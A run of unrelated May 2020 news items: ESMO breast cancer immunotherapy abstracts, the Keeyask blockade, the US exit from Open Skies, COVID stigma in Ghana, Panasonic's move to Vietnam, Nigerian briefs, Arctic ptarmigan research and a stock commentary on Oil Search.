2 The poster of abstract 141P 'Impact of Pembrolizumab Versus Chemotherapy on Health-Related Quality of Life in Patients with Metastatic Triple Negative Breast Cancer' by Peter Schmid will be on display in the e-Poster section of the Virtual Meeting Platform throughout the Congress days. Annals of Oncology, Volume 31, Supplement 2, May 2020

3 Cortes J, Lipatov O, Im S-A et al. KEYNOTE-119: Phase III study of pembrolizumab (pembro) versus single-agent chemotherapy (chemo) for metatastatic triple negative breast cancer (mTNBC). ESMO 2019. Abstract LBA21. Annals of Oncology 2019 doi:10.1093/annonc/mdz394

4 Kulangara K, Zhang N, Corigliano E et al. Clinical utility of the combined positive score for programmed death ligand-1 expression and the approval of pembrolizumab for treatment of gastric cancer. Arch Pathol Lab Med 2019; 143: 330-337

About the European Society for Medical Oncology (ESMO)

ESMO is the leading professional organisation for medical oncology. With more than 25,000 members representing oncology professionals from over 160 countries worldwide, ESMO is the society of reference for oncology education and information. ESMO is committed to offer the best care to people with cancer, through fostering integrated cancer care, supporting oncologists in their professional development, and advocating for sustainable cancer care worldwide. Visit http://www.esmo.org

128O - PDL1/CD274 gain/amplification as a predictive marker of checkpoint blockade inhibitor efficacy in metastatic breast cancer: exploratory analysis of the SAFIR02-IMMUNO randomized phase II trial

T. Bachelot1, T. Filleron2, F. Dalenc3, I. Bieche4, I. Gaberis5, E. Rouleau6, A. Tran-Dien5, J. Adam7, A. Lusque8, M. Jimenez9, A. Jacquet9, F. Andre;10

1Centre Leon Berard, Lyon, France, 2Biostatistics, Centre Claudius-Regaud, Toulouse, CEDEX 3, France, 3Centre Claudius-Regaud, Centre Claudius-Regaud, Toulouse, CEDEX 3, France, 4Institut Curie, Institut Curie, Paris, France, 5Gustave Roussy, Gustave Roussy - Cancer Campus, Villejuif, France, 6Gustave ROUSSY, Gustave Roussy - Cancer Campus, Villejuif, CEDEX 5, France, 7Pathology, Institut Gustave Roussy, Villejuif, France, 8Biostatistics, Centre Claudius-Regaud, Toulouse, France, 9R&D, UNICANCER, Paris, France, 10Breast Cancer Unit, Medical Oncology Department, Gustave Roussy - Cancer Campus, Villejuif, France

Background: PD(L)1 inhibitor have shown efficacy for limited sub population of patients (pts) with HER2 negative metastatic breast cancer (MBC). The main predictive marker of efficacy to date are the absence of ER and PR receptor, and pdl1 positivity by IHC. We investigated copy number alteration (CNA) of the PDL1 gene (also named CD274) located at 9p24.1 in the SAFIR02 BREAST IMMUNO randomized phase II trial (NCT02299999).

Methods: SAFIR02 BREAST IMMUNO randomized 199 pts presenting a MBC without actionable genomic alterations, responding to 6 months standard chemotherapy, either on durvalumab (10 Mg/kg every two weeks) or on maintenance chemotherapy with a 2:1 ratio. Eighty-two (43%) pts had a triple negative (TN) MBC. Using metastatic tumor samples, PDL1 CNA were characterized from array CGH analysis (Affymetrix CytoscanHD or Oncoscan). A gain of copy number was defined as 3-4 copies and an amplification ? 5 copies. Treatment effect was estimated in each subgroup using a cox proportional hazard model.

Results: for PDL1 CNA were available for 153 pts (101 immuno, 52 chemotherapy). PDL1 copy loss, neutral, or copy gain/amplification were reported on 30 (20%), 93 (61%) and 30 (20%) of pts, respectively. Pts with TN MBC had a higher proportion of gain/amplification (23/65 pts, 35% for TN tumors; vs 7/82, 8.5% for non-TN). Improvement of OS with durvalumab was limited to the PDL1 CNA gain/amplification subgroup (HR = 0.17, 95% CI 0.05-0.55) with a median OS of 9 months (95%CI 4-18) in maintenance arm and not reached in durvalumab arm. Among pts with TN tumors, durvalumab was associated to a better OS in the gain/amplification subgroup (HR 0.18, 95%CI 0.05-0.71 ), compared to the neutral/loss subgroup (HR 1.1, 95%CI 0.47-2.6 ).

Conclusions: This exploratory subgroups analysis of the first randomized trial comparing a PDL1 inhibitor to chemotherapy in the maintenance setting shows that PDL1 CNA could be an important predictive marker for PD(L)1 inhibitors efficacy. If confirmed on larger series, it could have an important implication on the development of immunotherapy for MBC pts, in particular for subgroups with low immunogenicity such as the luminal subtype.

Clinical trial identification: ClinicalTrials.gov ID: NCT02299999 NEudraCT : 2013-001652-36

Editorial acknowledgement: This research was conducted with support from an "Investigator Sponsored StudyProgramme by AstraZeneca". This research was conducted with support from Fondation ARC.

Legal entity responsible for the study: UNICANCER

Funding: FONDATION ARC, ASTRAZENECA

Disclosure:

T. Bachelot: Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: ROCHE; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: NOVARTIS; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: PFIZER; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: SEATTLE GENETIC; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: LILLY; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: ASTRA ZENECA. F. Dalenc: Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: ROCHE; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: NOVARTIS; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: LILLY; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: PFIZER; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: EISAI; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: MSD; Advisory/Consultancy, Research grant/Funding (institution), Travel/Accommodation/Expenses: ASTRAZENECA. F. Andre: Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: ROCHE; Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: NOVARTIS; Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: LILLY; Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: PFIZER; Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: ASTRAZENECA; Advisory/Consultancy, Speaker Bureau/Expert testimony, Research grant/Funding (institution), Travel/Accommodation/Expenses: DAIICHI SANKYO; Leadership role, FOUNDER: PEGACSY.All other authors have declared no conflicts of interest.

141P- Impact of Pembrolizumab Versus Chemotherapy on Health-Related Quality of Life in Patients with Metastatic Triple Negative Breast Cancer

P. Schmid1, A. Haiderali2, J. Mejia3, Z. Guo4, X. Zhou4, A. Martin-Nguyen2, J. Corts5, E. Winer6

1Centre of Experimental Cancer Medicine, Barts Cancer Institute-Queen Mary University of London, London, UK, 2Center for Observation and Real-World Evidence, MSD-Merck Sharp & Dohme, Kenilworth, USA, 3Clinical Research, MSD-Merck Sharp & Dohme, Kenilworth, USA, 4Biostatistics and Research Decision Science, MSD-Merck Sharp & Dohme, Kenilworth, USA, 5IOB Institute of Oncology, Quironsalud Group, Madrid & Barcelona, Vall d'Hebron Institute of Oncology (VHIO), Barcelona, Spain, 6Breast Oncology Center, Dana Farber Cancer Institute, Boston, MA, USA

Background: KEYNOTE-119 (NCT02555657), an open-label, randomized, phase 3 trial for metastatic triple-negative breast cancer (mTNBC), evaluated IV Pembrolizumab (P) 200?mg Q3W for up to 2 years vs investigator's choice of chemotherapy (CT) as second-line or third-line treatment. In the primary analysis populations (all-comers, PD-L1 CPS?1, PD-L1 CPS?10), OS was not significantly different between P and CT. We present results of prespecified health-related quality of life (HRQoL) analyses in this study.

Methods: The EORTC QLQ-C30 and QLQ-BR23 were completed at baseline, various time points during treatment cycles up to 2 years or until end of treatment, and 30-day safety follow-up visit. Data were analyzed from patients receiving ?1 dose of study treatment and completing ?1 HRQoL assessment. Least-squares mean (LSM) change from baseline, 95% CIs, and nominal P values were calculated. Time to deterioration (TTD; ?10-point worsening from baseline) was assessed by Kaplan-Meier method and Cox regression model. No formal hypothesis testing was performed.

Results: The HRQoL population included all-comers (P, n?=?306; CT, n?=?288), subjects with PD-L1 positive CPS?1 tumors (P, n?=?188; CT, n?=?183), and subjects with PD-L1 positive CPS?10 tumors (P, n?=?86; CT, n?=?91). Compliance for QLQ-C30 and QLQ-BR23 at week 6 was ?90% in both arms for all patient populations. The benefit of P vs CT was observed in nearly all pre-specified PRO endpoints, particularly in CPS?10 population. In this CPS-enriched population, the difference in LSM between arms in pre-specified systemic therapy side effects scale (-9.14; 95%CI, -13.16, -5.11; p<0.0001) and the nausea and vomiting scale (-6.19; 95%CI, -11.29, -1.09; p=0.0177) favored the P arm. There were differences between arms in the CPS?10 population that favored P for the pre-specified LSM change from baseline in global health status (GHS)/QoL (4.21 (95% CI: -1.38, 9.80). Importantly, TTD in the GHS/QoL scale was longer for P compared to CT (4.3 months vs 1.7 months; HR 0.70; 95%CI; 0.46, 1.05) in the CPS-enriched population.

Conclusions: In this CPS-enriched population of patients with mTNBC receiving second and third-line treatments, HRQoL was better for patients receiving P than those receiving CT.

Clinical trial identification: NCT02555657 EudraCT : 2015-00100-27

Legal entity responsible for the study: MSD-Merck, Sharp and Dohme

Funding: MSD-Merck, Sharp and Dohme

Disclosure: P. Schmid: Honoraria (self), Research grant/Funding (institution), Spouse/Financial dependant: Roche; Honoraria (self), Research grant/Funding (self): AstraZeneca; Research grant/Funding (self): Oncogenex; Honoraria (institution), Research grant/Funding (self): Novartis; Research grant/Funding (self): Astellas; Honoraria (self): Merck; Honoraria (self): Pfizer; Honoraria (self): Eisai; Honoraria (self): Bayer. A. Haiderali: Full/Part-time employment: MSD-Merck Sharp & Dohme.

J. Mejia: Full/Part-time employment: MSD-Merck Sharp & Dohme. Z. Guo: Full/Part-time employment: MSD-Merck Sharp & Dohme. X. Zhou: Full/Part-time employment: MSD-Merck Sharp & Dohme. A. Martin-Nguyen: Full/Part-time employment: MSD-Merck Sharp & Dohme. J. Cortes: Honoraria (self), Advisory/Consultancy, Research grant/Funding (self): Roche; Honoraria (self), Advisory/Consultancy: Merck; Honoraria (self): Eisai; Honoraria (self): Pfizer; Advisory/Consultancy: Samsung; Honoraria (self), Advisory/Consultancy: Celgene; Advisory/Consultancy: AstraZeneca; Shareholder/Stockholder/Stock options, Licensing/Royalties: MedSIR. E. Winer: Honoraria (self), Advisory/Consultancy: Genenteche/Roche; Honoraria (institution), Advisory/Consultancy: Carrick Therapeutics; Honoraria (self), Advisory/Consultancy: Merck; Honoraria (self), Advisory/Consultancy: Genomic Health; Honoraria (self), Advisory/Consultancy: GlaxoSmithKline; Honoraria (self), Advisory/Consultancy: Jounce; Honoraria (self), Advisory/Consultancy: Leap; Honoraria (self), Advisory/Consultancy: Lilly; Honoraria (self), Advisory/Consultancy: Seattle Genetics.
Manitoba Hydro claims the illegal blockade at the Keeyask megaproject is costing the utility $1.7 million a day, as the construction site moves to barebones staff.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

Manitoba Hydro claims the "illegal blockade" at the Keeyask megaproject is costing the utility $1.7 million a day, as the construction site moves to barebones staff.

The chiefs blockading entry at three points around the megaproject say they dont want to endanger anyones safety, including those left at the plant.

On Monday, a Winnipeg judge issued an injunction, allowing the RCMP to remove blockades that four First Nations started a week ago, over fears a massive shift change would introduce COVID-19 to northern Manitoba.

The injunction gives Mounties until May 28 to remove the blockade, but RCMP say they only plan to respond if safety is put at risk. Hydro has moved some staff into the plant from the Gillam airport via helicopter.

"By forcing the decision to go into a care and maintenance mode, the continuing blockade is costing the Keeyask Project approximately $1.7 million per day, plus a one-time cost of up to $50 million for demobilizing and remobilization as well as contractor claims," reads an internal memo Hydro sent to its employees Friday morning.

"These costs will be borne by Manitoba Hydros customers."

Hydro spokesman Bruce Owen confirmed the utility pared down staff late Thursday "due to the illegal blockade," and that roughly 100 staff are staying on to ensure safe maintenance of the construction site.

Owen added that Keeyask was proceeding ahead of schedule prior to the blockade.

A group from Tataskweyak Cree Nation block Provincial Road 280 to Manitoba Hydros Keeyask generating station construction site. (Facebook)

The internal memo also claims the blockades are preventing food from reaching the site. That came as news to those leading the protests, who said they could negotiate with Hydro if the utility asked to bring in needed supplies.

"The blockaders () are also holding back essential shipments of food and other supplies and services," Dave Bowen claimed in the internal memo Friday.

"Without perishable foods like bread and milk, or the ability to remove accumulating food waste that is already attracting bears into the camp, the situation is no longer safe."

The memo said Hydro had "no clear timeline from the RCMP for when they will move to permit safe passage of people, food or other critical supplies."

Nathan Neckoway, a Tataskweyak band councillor who helped organize the blockade, argued that the memo illustrates Hydros spotty communication.

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"They cant just assume that were not going to work with them; they got to talk to us," said Neckoway.

"They never involved us in the process; thats what started us having to make our stand. Hydro does not acknowledge us as partners."

Hydro offered Wednesday night to have CEO Jay Grewal speak with chiefs by teleconference. The chiefs were discussing the proposal Friday afternoon, but some want an in-person meeting at the blockade site.

In a statement, Hydro said its been in touch with the four First Nations about pandemic planning since mid-March. The chiefs dont dispute that, but say they werent fully consulted on the plan to bring in as many as 1,200 staff, including up to 200 from outside Manitoba.

Hydro only shared that plan after the province had approved it, and then extended the required quarantine period, based on chiefs feedback.

dylan.robertson@freepress.mb.ca
The United States said on Thursday it will withdraw from the 35-nation Open Skies treaty allowing unarmed surveillance flights over member countries, the Trump administrations latest move to pull the country out of a major global treaty.

The administration said Russia has repeatedly violated the pacts terms. Senior officials said the pullout will formally take place in six months, but President Donald Trump held out the possibility that Russia could come into compliance.

I think we have a very good relationship with Russia. But Russia didnt adhere to the treaty. So until they adhere, we will pull out, Trump told reporters.

His decision deepens doubts about whether Washington will seek to extend the 2010 New START accord, which imposes the last remaining limits on U.S. and Russian deployments of strategic nuclear arms to no more than 1,550 each. It expires in February.

Trump has repeatedly called for China to join the United States and Russia in talks on an arms control accord to replace New START. China, estimated to have about 300 nuclear weapons, has repeatedly rejected Trumps proposal.

NATO allies and other countries like Ukraine had pressed Washington not to leave the Open Skies Treaty, whose unarmed overflights are aimed at bolstering confidence and providing members forewarning of surprise military attacks.

In Moscow, RIA state news agency quoted Russian Deputy Foreign Minister Alexander Grushko as saying that Russia has not violated the treaty and nothing prevents the continuation of talks on technical issues that Washington calls violations.

The Open Skies decision followed a six-month review in which officials found multiple instances of Russian refusal to comply with the treaty.

Last year, the administration pulled the United States out of the Intermediate-range Nuclear Forces Treaty with Russia.

A senior administration said U.S. officials had begun talks in recent days with Russian officials about a new round of nuclear arms negotiations to begin crafting the next generation of nuclear arms control measures.

Trumps arms control negotiator mounted a full-blown defense of the administrations arms control policies, focusing on the presidents proposal that China join the United States and Russia on a replacement for New START.

We know how to win these races and we know how to spend the adversary into oblivion. If we have to, we will, but we sure would like to avoid it, Special Presidential Envoy for Arms Control Marshall Billingslea told the Hudson Institute think tank.

The Open Skies treaty, proposed by U.S. President Dwight Eisenhower in 1955, was signed in 1992 and took effect in 2002. The idea is to let member nations make surveillance flights over each others countries to build trust.

The officials cited a years-long effort by Russia to violate the terms, such as by restricting U.S. overflights of Russias neighbor Georgia and the Russian military enclave in Kaliningrad on the Baltic coast.

In addition, they said Russia has been using its own overflights of American and European territory to identify critical U.S. infrastructure for potential attack in time of war.

Some experts worry that a U.S. exit from the treaty, which will halt Russian overflights of the United States, could prompt Moscows withdrawal, which would end overflights of Russia by the remaining members, weakening European security at a time that Russian-backed separatists are holding parts of Ukraine and Georgia.

Trumps decision to leave the treaty is premature and irresponsible, said Daryl Kimball, head of the Washington-based Arms Control Association.
According to UNICEF, stigmatization has been very prevalent during this COVID-19 era. This form of stigmatization simply means stereotyped, unfortunate labeling of discrimination against those who were treated for the disease and recovered. When such persons return to their homes, they still experience loss of status because of real or perceived links with the disease.

Social stigma creates xenophobia and, more seriously, those who have been infected with the virus try to hide the infection for a long time for fear of being stigmatized when people know of it.

In Ghana, those who are vulnerable to social stigma are those who have lived abroad and are returning home, those who had the infection but have recovered and, sometimes, family members of infected persons.

In most European countries, unlike Ghana and other African countries, they treat their recovered patients as heroes. There is nothing like stigmatization.

A 47-year-old man from Holland was quarantined due to coronavirus infection. He was isolated for three months. Finally he was declared as having recovered completely. When he was released to go home, his neighbours got wind of it. They lined up in the neighbourhood and clapped continuously when the man arrived in a taxi. Indeed he was given a hero's welcome. Can this happen in Ghana?

Confusion and prejudice leading to social stigma have caused stereotypes and discrimination. A young man waited for a bus at Fomena to take him to Kumasi. After an hour, a bus coming from Cape Coast stopped at Fomena.

The young man boarded the bus and observed social distancing. His phone began to ring as the car sped off. A conversation ensued: "Hello Kofi, I just left Fomena and I am going to Kumasi but I will return to my base at Obuasi.

Of course I live in Obuasi..." The driver slowed down and parked the car by the roadside. He ordered the young man to get down from the bus, for as long as he lived in Obuasi, no one could tell if he had Coronavirus infection or not. Obuasi has the highest number of COVID 19 infection in the Ashanti region. Therefore anyone coming from Obuasi becomes a victim of stigmatization.

It is not easy for Ghanaians living abroad to be easily accepted by friends and families in Ghana for the only reason that COVID-19 entered Ghana from those coming from abroad. Gone are the days when Ghanaians coming from abroad are warmly received.

Before the airport and all borders were closed all passengers were quarantined for two weeks. Due to strict regulations at the Kotoka International Airport, both Ghanaians and foreigners coming to Ghana stopped in Lome and tried to enter Ghana by road from Aflao. Some succeeded but a majority of travellers were stopped at the border and quarantined.

Bernard lived in New York. He decided to travel to Ghana to spend Easter with his relatives. Both his friends and family were at the airport to welcome him. Bernard never came out but was taken straight to quarantine. Those who waited for him had to leave after a long wait.

Unfortunately after the second week he tested positive to COVID-19. Luckily after one month he recovered completely. He had the opportunity to go back to his friends and family and to see the house he has built for the first time. As soon as he entered the house, those living there, including his wife, kids and siblings rushed out of the house leaving him alone.

How long will it take Ghanaians to learn that when a person is still sick or healed he should not be stigmatized?

A couple went to the hospital because they were coughing and sneezing all the time. Tests were conducted on them and it came out that they had been infected with the coronavirus. Contact tracing was immediately conducted. About forty people including the two children of the sick couple, a 22-year old boy called Emmanuel and a 20-year old girl called Bertha. Luckily all the forty people tested had no coronavirus infection.

The father's sister came to the house to take care of the children. One morning Emmanuel rushed to the neighbourhood shop to buy bread and milk. Before he reached the shop there was a group of boys seated near the shop. They recognised him as the son of the man who has coronavirus infection. They threw stones and stick at him and shouted at him to leave with his virus. The boy took to his heels.

For how long can we label innocent people who are only related to people with COVID-19? Why should people who have recovered completely still continue to be victims of social stigma?

Dear reader, I believe you will agree with me that a law against stigmatization must be passed in order to protect Ghanaians.that is if there is no law like this in Ghana. Many people hide the infection for a very long time due to problems and fear of stigmatization. By not reporting early, many people get infected.

Columnist: Stephen Atta Owusu

Author: Dark Faces at Crossroads

Email: [email protected]
Australia suffered the worst bushfire season in recent memory in early 2020, following long periods of drought and intense heat (Photo: Jack Board)

Research from doctors at the Australian National University (ANU) shows that there are major knowledge gaps when it comes to the influence of extreme weather on death and hospitalisation.

Heat mortality, for example, is vastly underreported in Australia, their analysis found, and will increasingly be a major factor on regional health, as the planet continues to warm at an unprecedented rate.

Recognising these environmental factors in our health and wellbeing is so tremendously important, said Dr Arnagretta Hunter from the ANU College of Health and Medicine when interviewed by CNA.

She is the co-author of a commentary regarding this issue, which was published in The Lancet Planetary Health on Thursday (May 21).

What we know from climate science is that extreme weather events are occurring with increasing frequency. If we recognise the association between an extreme weather event and adverse health outcomes, we might take the frequency of those weather events more seriously.

The analysis weve done shows that with increasing extreme temperature, we see a mortality influence which is quite significant, she said.

Death certificates are just one mechanism to collect public health data, which can help governments set funding and health research priorities.

While climate change factors are not normally the primary cause of death, they can contribute in significant ways, and that data should be collected, Dr Hunter said.

We have the option of mentioning associated influencing factors, such as exposure to smoke or heat. All of those things influence why that person may have been in hospital or sick at that moment in time, she said.

She added: When a grandparent falls and fractures the hip and the cause of death is related to the fall, often we can reflect that the really extreme heat that wed had in the month or two beforehand had influenced the health and wellbeing of that person".

While the research focuses on Australia, following a summer of record temperatures and the worst bushfire season in memory, the applications for updated and more detailed death certificates are global, she said.

Over the coming decades, that information could prove vital to help mitigate the worsening impacts of climate change, and help extend peoples life expectancy.

A recent study found that a substantial part of humanity will be forced to endure temperatures warmer than anywhere on the planet today.

Southeast Asia is highly vulnerable to extreme weather. Average temperatures have increased every decade since the 1960s and carbon emissions have increased at some of the fastest rates in the world.

There are really significant increases in heat with climate modelling over the next 10 or 20 years. It will be a significant issue across the Asia Pacific, in Indonesia, for example, and likely further north than that. This discussion has global resonance, Dr Hunter said.

People ask me what temperature is too hot for human health. The answer is, we dont know.
JINAN, China, May 22, 2020 /PRNewswire/ -- On May 8, the Information Office of The Shandong Provincial People's Government held a press conference to explain and provide further clarity on the Implementation of Opinions for Continuously Improving the Business Environment. Guan Zhaoquan, deputy director of the Shandong Provincial Development and Reform Commission, said a good business environment is one of the most effective means for promoting local economic development. The business environment involves the entire life cycle of a business from registration, operation, growth through to eventual closure, and has a direct impact on its ability to thrive. To this end, Shandong has put forward 18 measures to streamline and upgrade the business environment.
by Melani Manel Perera

For some young Catholics, heeding Pope Francis' invitation was a great joy and a duty. The countrys dioceses did not adequately publicise the event, but it still found an echo up on social media and TV. One young person, spent the day with family, praying and donated food to some people in need.

Colombo (AsiaNews) - Young people in different parts of Sri Lanka were happy to spend the day of 14 May performing the three actions Pope Francis suggested, namely praying, fasting, and carrying out works of charity. For them, "responding to the call of the Holy Father was a great joy and a duty".

Two days ago, people around the world spent the day asking God for the end of the pandemic. The Higher Committee of Human Fraternity had proposed the event, which received the full support of Pope Francis.

In Sri Lanka, many young people were surprised that the countrys dioceses had not publicised the event as a priority. Instead, they found out about it on television and social media.

Kamal Fernando, from Colombo, works in the private sector. He learnt about the day through social and foreign media. This gave him a chance of getting involved with this "wonderful intention and request by the Holy Father to meet a global need.

This pandemic situation is very tough, Kamal said. No one can predict what will happen the next hour. This is a time of fear in which we can only hope in Gods help and that of our blessed Mother.

Anushiya Kandasami, from Kandy, heard about the day from Verbum TV, a local Sinhala-language channel, that mentioned the Pope's call to unite in prayer to heal the world affected by the pandemic.

"Since the start of the lockdown, in our family we pray for the end of the pandemic, she said. We warmly welcomed the Pope's invitation, dedicating the whole day to prayers.

At home we have a corner for praying with an oil lamp, candles, and the Bible. We asked Jesus and Mary non-stop: 'Do not leave us in these dark hours, save our nation and the whole world.

Naamini Rasika, a university student, found out about the day on Facebook. "A priest, Fr Sunil, posted a message with some words by Pope Francis. So, with my family I spent the day praying and donated food to some people in need.
Japanese appliance-maker Panasonic on May 21 said that next year it will move its Thai-based production of refrigerators and washing machines to Vietnam, laying off some 800 workers.

Panasonic's factory in Hanoi's Dong Anh district (Photo: XuanMaiCorp)

The move is part of efforts to cut costs in the context that the company is facing fiercer price competition from its rivals China and the Republic of Korea.

Panasonic is seeking to cut costs of up to 100 billion JPY (929 million USD) in three years to March 2022.

The firm, which started producing electronic equipment in Thailand in 1979, will close its research and development centre in the country by the end of March 2021. It will support dismissed employees in seeking new jobs.

Panasonic said it will stop washing machine production in Thailand in September 2020 and refrigerator production one month later.

In fiscal 2019-2020 (as of March 2020), Panasonic saw a net profit decrease of 20.6 percent compared to the previous fiscal year, to 225.71 billion JPY, while its sales fell 6.4 percent to 7.49 trillion JPY./.

When Apple comes to Vietnam and FDI flow starts moving Apple is making clearer signals in the production of components and products in Vietnam, opening up opportunities for Vietnam to participate more deeply in the global value chain.
Iran's supreme leader Ayatollah Ali Khamenei said it was an "Islamic duty" to fight for the "liberation of Palestine" in a speech Friday amid rising tensions with regional arch-enemy Israel

Tehran, (APP - UrduPoint / Pakistan Point News - 22nd May, 2020 ) :Iran's supreme leader Ayatollah Ali Khamenei said it was an "Islamic duty" to fight for the "liberation of Palestine" in a speech Friday amid rising tensions with regional arch-enemy Israel.

"The aim of this struggle is the liberation of the entire Palestinian land" and "the return of all Palestinians to their country," Khamenei said in his first ever speech marking Quds (Jerusalem) Day.
<! Lori Loughlin: to face trial in October for college admissions fraud >

Full House actress Lori Loughlin and her husband have agreed to plead guilty to charges that they conspired to fraudulently secure their daughters college admission.

According to federal prosecutors, Lori and her fashion designer husband, Mossimo Giannulli tried to bribe their daughters way into the University of Southern California.

Both of them have agreed to serve two months and five months in prison, respectively, under plea agreements filed in federal court in Boston.

They are expected to plead guilty on Friday to conspiracy to commit wire and mail fraud. Loughlin and Giannulli also agreed to pay fines of $150,000 and $250,000, respectively.

U.S. Attorney Andrew Lelling in a statement said the plea deals ensure these defendants will serve prison terms reflecting their respective roles in a conspiracy to corrupt the college admissions process.

Their lawyers declined to comment.
Chairman of the Presidential Task Force (PTF) and Secretary to the Government of the Federation, Boss Mustapha, has cautioned states relaxing lockdown because of Eid-el-Fitr.

Speaking at the PTFs brief on Thursday, Mr Mustapha advised all Nigerians to exercise caution and take personal responsibility during Sallah so as not to cancel the gains of the past weeks.

Civil servants in Kano state have lamented over the arbitrary slash in their May salaries without prior notice.

According to the Kano state civil servants, the slash in their May salaries was discovered moments after they began to receive their monthly salary payment alerts.

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Lagos State Commissioner for Health, Prof. Akin Abayomi has revealed that the state has spent N640 million on COVID-19 tests.

Prof. Abayomi made this known during the daily update on the COVID-19 situation on Thursday.

The Federal government has declared Monday 25th and Tuesday 26th May, as public holidays for Muslims to celebrate Eid-al-Fitr.

This was made known in a statement signed by Ogbeni Rauf Aregbesola, Interior minister, on behalf of the federal government.

Vice President Yemi Osinbajo on Thursday chaired the first-ever virtual meeting of the National Economic Council at the Presidential Villa, Abuja.

This is the fourth economic council meeting since the beginning of the year and it held at the Yellow Room, Office of the Vice President.

The Plateau State Police Command says Eid prayers will not be observed on any praying ground during this years Eid-el-Fitr expected to hold on Saturday in the state.

The spokesperson of the command, ASP Ubah Gabriel, made this known in a statement on Thursday, in Jos.

Another communal clash between Afono and Ibini communities in Biase Local Government Area of Cross River State has left 15 dead, according to Daily Trust.

A clash at Orugbam invaded Ipene and Egbor villages in the same Biase LGA had left 3 dead late last week. Another communal clash between Afono and Ibini communities in Biase Local Government Area of Cross River State has left 15 dead, according to Daily Trust.

Chikwe Ihekweazu, director-general of the Nigeria Centre for Disease Control (NCDC), has explained why some COVID-19 patients dance in isolation centres.

Ihekweazu said the disease may not be as tough on some as it would be on others. The NCDC boss said this while speaking during a Channels TV programme on Thursday, saying those patients are at the isolation in order to prevent them from spreading the virus.

Less than 24 hours after ordering its members to sit at home, the Lagos state chapter of the Nigerian medical association has rescinded the order by asking members to return to work.

According to a statement by the chairman of the association, Dr Saliu Oseni and the Secretary of the association, Dr. Moronkola Ramon, the reversal became necessary after the Nigerian Police Force and the Lagos State Governor, Babajide Sanwo-Olu assured the safety of the health workers, especially during the curfew period.

Yinusa Dahiru has been sentenced to 26 years in prison for abducting and forcing a teenager, Ese Oruru into marriage.A Federal High Court sitting in Yenagoa, Bayelsa State, gave the judgement on Thursday. The teenage was said to have been abducted by the convict, taken to Kano State and forced into marriage  a relationship that later produced a baby.

A tanker has collided with a fully loaded commercial bus on Otedola Bridge, Lagos State, leaving many injured.

According to reports, the accident occurred at the lane inwards Berger around 9am on Thursday.

Cross River State Governor Ben Ayade says the state has not recorded any case of COVID-19 because of the strategies that have been employed.

A clash at Orugbam invaded Ipene and Egbor villages in the same Biase LGA had left 3 dead late last week.
Birds living in the frozen Arctic are able to take extreme measures to save energy - they can weaken their immune system during the coldest months to keep warm.

Doing this opens them up to health risks, but makes them more energy efficient which also helps when hunting, according to the team from Lund University.

The Swedish researchers examined the immune system strength of the Svalbard rock ptarmigan that lives the farthest up in the Arctic of any land bird for the study.

This ability appears to be particularly important during the five coldest months of the year when there is no daylight - from October to March.

The Swedish researchers examined the immune system strength of the Svalbard rock ptarmigan that lives the farthest up in the Arctic of any land bird for the study

Lund University researchers, led by Dr Andreas Nord, found that while the birds are used to the extreme cold harsh environments, this was one coping mechanism.

'We have discovered that the birds reduce how much they spend on keeping their own immune defence system up and running during the five months of the year when it is dark around the clock, probably to save energy,' said Nord.

'Instead, they use those resources on keeping warm and looking for food. When daylight returns, their immune response is strengthened again.'

These birds are used to extreme cold harsh environments but researchers were fascinated to find that their immune response varies between winter and late spring.

They discovered that when the birds become ill in mid-winter, their energy consumption drops compared to when they are healthy  but when the birds became ill in late spring, their energy consumption increased.

Dr Nord said: 'A weaker immune system is probably a part of all the adaptations that Arctic animals use to save energy in winter.

'The risk of being infected by various diseases so far north is less in winter than when it becomes warmer towards summer.'

In order to save energy the Svalbard rock ptarmigan weakens an already weak immune system.

They discovered that when the birds become ill in mid-winter, their energy consumption drops compared to when they are healthy  but when the birds became ill in late spring, their energy consumption increased

The ability is probably due to the fact that the species evolved in the Arctic where there has been less of a need for a very strong immune defence system.

'This may have negative consequences when the climate changes and migratory birds arrive earlier in the Arctic and leave later,' said Nord.

He added as 'more and more tourists also come ashore in places where people have not set foot before' the lower immune system birds could be more exposed.

'Such a scenario paves the way for an increased risk of disease and may be a threat to animals that have evolved in the Arctic where a strong immune defence system might not have been needed.'

The findings are published in the Journal of Experimental Biology.
Those holding Oil Search (ASX:OSH) shares must be pleased that the share price has rebounded 32% in the last thirty days. But unfortunately, the stock is still down by 48% over a quarter. However, that doesn't change the fact that longer term shareholders might have been mercilessly wrecked by the 56% share price decline throughout the year.

All else being equal, a sharp share price increase should make a stock less attractive to potential investors. In the long term, share prices tend to follow earnings per share, but in the short term prices bounce around in response to short term factors (which are not always obvious). So some would prefer to hold off buying when there is a lot of optimism towards a stock. Perhaps the simplest way to get a read on investors' expectations of a business is to look at its Price to Earnings Ratio (PE Ratio). A high P/E ratio means that investors have a high expectation about future growth, while a low P/E ratio means they have low expectations about future growth.

See our latest analysis for Oil Search

Does Oil Search Have A Relatively High Or Low P/E For Its Industry?

We can tell from its P/E ratio of 10.68 that there is some investor optimism about Oil Search. As you can see below, Oil Search has a higher P/E than the average company (7.0) in the oil and gas industry.

ASX:OSH Price Estimation Relative to Market May 21st 2020

